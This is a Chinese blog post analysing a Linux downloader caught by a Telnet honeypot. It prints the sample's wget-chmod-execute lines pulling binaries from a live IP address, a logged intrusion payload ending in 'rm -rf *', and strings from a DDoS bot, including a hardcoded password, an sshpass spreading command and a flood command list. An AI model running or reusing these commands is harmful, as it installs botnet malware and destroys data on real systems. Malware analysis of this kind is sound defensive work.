记录蜜罐捕获到的一个样本分析
今天晚上一看,已经有18个样本被蜜罐捕获(高交互Telnet蜜罐)了,主要就是这个样本:
文件HASH如下:
MD5:f42a6178e5da4e16254ecbdec5ca376a
SHA-1:51ad642c254d762e3c775678aa17e28601b57866
SHA-256:a093105ec49c25547511780526165a00e0d8964bd622ed2127982908379f198e
上传至virustotal检测,62报23
接下来我们对攻击IP进行溯源分析,威胁情报查询如下:
访问该IP(是一个Apache安装成功的测试页):
接下来继续着眼于该样本,由于是一个文本文件,我们提取文件内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | cd /tmp ; wget http: //178 .215.236.209 /M ; chmod 777 M; . /M ; rm -rf M
cd /tmp ; wget http: //178 .215.236.209 /MS ; chmod 777 MS; . /MS ; rm -rf MS
cd /tmp ; wget http: //178 .215.236.209 /SH ; chmod 777 SH; . /SH ; rm -rf SH
cd /tmp ; wget http: //178 .215.236.209 /x86 ; chmod 777 x86; . /x86 ; rm -rf x86
cd /tmp ; wget http: //178 .215.236.209 /A6 ; chmod 777 A6; . /A6 ; rm -rf A6
cd /tmp ; wget http: //178 .215.236.209 /I6 ; chmod 777 I6; . /I6 ; rm -rf I6
cd /tmp ; wget http: //178 .215.236.209 /PPC ; chmod 777 PPC; . /PPC ; rm -rf PPC
cd /tmp ; wget http: //178 .215.236.209 /I5 ; chmod 777 I5; . /I5 ; rm -rf I5
cd /tmp ; wget http: //178 .215.236.209 /M68 ; chmod 777 M68; . /M68 ; rm -rf M68
cd /tmp ; wget http: //178 .215.236.209 /A5 ; chmod 777 A5; . /A5 ; rm -rf A5
cd /tmp ; wget http: //178 .215.236.209 /PPC-440 ; chmod 777 PPC-440; . /PPC-440 ; rm -rf PPC-440
cd /tmp ; wget http: //178 .215.236.209 /A4-TL ; chmod 777 A4-TL; . /A4-TL ; rm -rf A4-TL
cd /tmp ; wget http: //178 .215.236.209 /I4 ; chmod 777 I4; . /I4 ; rm -rf I4
cd /tmp ; wget http: //178 .215.236.209 /M64 ; chmod 777 M64; . /M64 ; rm -rf M64
|
不难看出,该样本只是一个下载器,用于下载178.215.236.209
下的一些文件到/tmp
目录,并通过chmod 777
命令修改文件可执行权限,并运行下载的这些样本 ./文件
,并且在子样本运行结束后删除样本,清理痕迹。
接下来我们对该IP进行威胁情报查询,结果如下:
发现该IP一直存在通过恶意软件进行攻击的行为。并获取到了其攻击payload:
178.215.236.209的攻击Payload信息:
渗透攻击行为:传播恶意木马
攻击Payload信息详情:["["sh","cd /tmp || wget http://178.215.236.209/zatoempire.sh; curl -O http://178.215.236.209/zatoempire.sh; chmod 777 zatoempire.sh; sh zatoempire.sh; rm -rf *.sh"]"]
不难看出,其大概率通过此payload将样本上传至蜜罐的。去蜜罐验证一下,找到该IP的攻击记录:
该IP的请求包如下:
1 2 3 4 5 | New connection: 188.166.242.49:41462 (172.30.51.1:23) [session: a8c9cd97e13a]
login attempt [root /root ] succeeded
sh
cd /tmp ; wget http: //178 .215.236.209 /bins .sh || curl -O http: //178 .215.236.209 /bins .sh && chmod 777 bins.sh && . /bins .sh; rm -rf *
Connection lost after 17 seconds
|
手法基本相似,样本文件名被修改了,威胁情报的http://178.215.236.209/zatoempire.sh
现已无法访问。
到目前我们可以得到该攻击的基本信息如下:
<aside>
攻击IP : 188.166.242.49
攻击Payload :cd /tmp; wget http://178.215.236.209/bins.sh || curl -O http://178.215.236.209/bins.sh && chmod 777 bins.sh && ./bins.sh; rm -rf *
样本文件名 :bins.sh
样本HASH: f42a6178e5da4e16254ecbdec5ca376a(MD5)
样本源IP : 178.215.236.209
样本类型 : shell文件
样本威胁类型 :下载器
</aside>
接下来我们需要对这些子样本进行分析,修改母样本,使其将所有子样本下载到虚拟机,但不运行,这里我们使用Ubuntu 14虚拟机进行分析,先下载子样本,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | wget http: //178 .215.236.209 /M
wget http: //178 .215.236.209 /MS
wget http: //178 .215.236.209 /SH
wget http: //178 .215.236.209 /x86
wget http: //178 .215.236.209 /A6
wget http: //178 .215.236.209 /I6
wget http: //178 .215.236.209 /PPC
wget http: //178 .215.236.209 /I5
wget http: //178 .215.236.209 /M68
wget http: //178 .215.236.209 /A5
wget http: //178 .215.236.209 /PPC-440
wget http: //178 .215.236.209 /A4-TL
wget http: //178 .215.236.209 /I4
wget http: //178 .215.236.209 /M64
|
运行,得到如下样本:
我们先计算他们的MD5,防止为同一样本重复分析,结果如下:
1 2 3 4 5 6 7 8 9 10 | 14aaf85927e45d55a659b2fbcdaa25ee . /SH
4a1ce3d39485183d9774184f2c45597f . /A6
b26f2bf0d3ea22871eafd9389d3fcbfe . /A5
e48a1c33bdf89c8f6d3f5ab2f0b7f966 . /MS
607de5ff2efe197870820df3d0b35da5 . /PPC
27eb53d8f4be08df86e22fa968058c2f . /I5
d1e0689d859c56f51948ad3260867f67 . /M68
1217dc6c3803a139b17c625b571aa83f . /I6
f11eb803b87acb02ba64c4d028e29f96 . /M
3b6b23f77f9d1975499fb63421ba3cf8 . /x86
|
接下来,我们看看A5样本:
<1> 静态分析 A5样本
先通过strings命令提取样本二进制数据中可打印的字符串:
strings ./A5 >> A5-strings.txt
得到了非常多的内容(8643条):
筛选有用的信息如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | root
Hax0r@1337
ssh_server_ip
/root/
sshpass -p '%s' ssh -o StrictHostKeyChecking=no %s@%s '%scd; python udp.py %s %s %s'
dayzddos.co runs you if you read this lol then you tcp dumped it because it hit you and you need to patch it lololololol
%s %s HTTP /1 .1
Host: %s
User-Agent: %s
Connection: close
%s /cdn-cgi/l/chk_captcha HTTP /1 .1
Self Rep Fucking NeTiS and Thisity 0n Ur FuCkInG FoReHeAd We BiG L33T HaxErS
jay is a faggot
add illuminate
Scarface1337Self Rep Fucking NeTiS and Thisity 0n Ur FuCkInG FoReHeAd We BiG L33T HaxErS
Failed opening raw socket.
Failed setting raw headers mode.
DOMINATE Flooding %s for %d seconds.
...
|
同时我们发现其中有大量user-agent信息,并且存在DOMINATE Flooding %s for %d seconds.
字符串,判断其可能用于DDOS攻击,结合分析,判断其可能是一个蠕虫程序,通过爆破ssh进行传染:sshpass -p '%s' ssh -o StrictHostKeyChecking=no %s@%s '%scd; python udp.py %s %s %s'
,爆破成功后上传样本用于DDOS攻击,这里运行了一个名为udp.py
的python脚本,具体内容还不清。在并且内部出现了大量关于网络通信的字符串,可以判定其主要行为为网络通信。
让火绒查杀一下:
报的Trojan/Linux.DDos.h
和猜测的基本吻合。
用IDA -PRO分析一下(有点复杂)看到其中一个函数名为processCmd
,其中调用了大量atol
和strcoll
函数进行字符串判断:
发现网址www.manoramaonline.com
情报判定为白名单,访问是一个新闻网站
2)接下来看看SendDOMINATE
函数:
这里应该是字符串都比对完毕了,通过sockprintf打印发送DOS攻击详情,并通过SendDOMINATE进行DOS攻击
这里面的调用的两个函数比较有意思,第一个是sockprintf
,一个是SendDOMINATE
1)先看sockprintf
,函数比较简单,看看调用流程:
1 2 3 4 5 6 7 | malloc
memset
print
strlen
strlen
send
free
|
不难看出,它将拼接好的DOMINATE Flooding %s for %d seconds.
字符串输出并通过send
函数发送出去了
SendDOMINATE
函数中调用了一个名为getRandomIP
的函数,貌似是随机生成IP并制作一份IP报文发送
静态分析就先分析到这里吧,下面是可能用到的一些控制命令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | TCP
UDP
VSE
HTTP-KO
CF-KILL
NULL-CF
STD
HTTPS-KTN
OVH-STORM
NFO-COM
HYDRA-KILL
HIPER-OVH
KILLALLV3
HOME-DOWN
UDPRAW
NFO-KTN
RANDHEX
XTDV2
DOMINATE
OVH-PACKET
DNS
HOLD
R6-DROP
R6-LAG
GTAV
CSGO
TF2
STOP
|
<2> 动态分析 A5样本
动态分析时发生问题,格式不匹配,无法运行:
上传到云沙箱也没法获取更多的信息了:
也就只能分析到这了,出现的这些问题还得求教大佬们了
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)